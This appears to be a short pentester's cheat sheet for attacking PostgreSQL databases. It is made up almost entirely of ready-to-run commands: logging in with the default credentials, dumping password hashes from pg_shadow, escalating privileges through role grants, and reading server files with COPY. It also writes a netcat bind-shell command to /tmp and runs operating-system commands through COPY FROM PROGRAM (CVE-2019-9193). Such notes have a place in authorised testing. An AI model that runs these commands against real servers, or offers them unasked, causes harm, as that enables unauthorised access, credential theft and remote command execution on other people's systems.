Connecting

Default username is postgres with no password. Check more commands here: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Querying / Exploiting

To list version: SELECT version()

Show the current user: SELECT user;

Concatenating - put 2 together: concat(name1,':',name2)

Show password hashes for all users: SELECT usename, passwd FROM pg_shadow

Check if you are superuser (either works):
SHOW is_superuser; SELECT current_setting('is_superuser');

If you are not superuser, but has CREATEROLE, can make yourself one: GRANT pg_read_server_files TO username;

Show all databases:
select schema_name from information_schema.schemata;

Show the table name:
select concat(schemaname,':',tablename) FROM pg_catalog.pg_tables WHERE schemaname != 'pg_catalog' AND schemaname != 'information_schema';
List tables from all schemas: \dt *.*

Show the column name if table name is mytable:
SELECT column_name FROM information_schema.columns where table_name = 'users';

Finally select object use
select columnname from database.table;

If you have direct DB access (via psql, usually through account postgres), can use the following:
\list to list database
\c database name to use the database
\d to list the tables

To read file when you have direct DB access, use the following:
CREATE TABLE demo(t text);
COPY demo from '[FILENAME]';
SELECT * FROM demo;

File write:
CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';
Or one liner write:
COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';

Command execution (CVE-2019-9193) line 1 and 5 optional. line 4 view results, can run line 3 and 4 repeatedly to execute different commands):
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;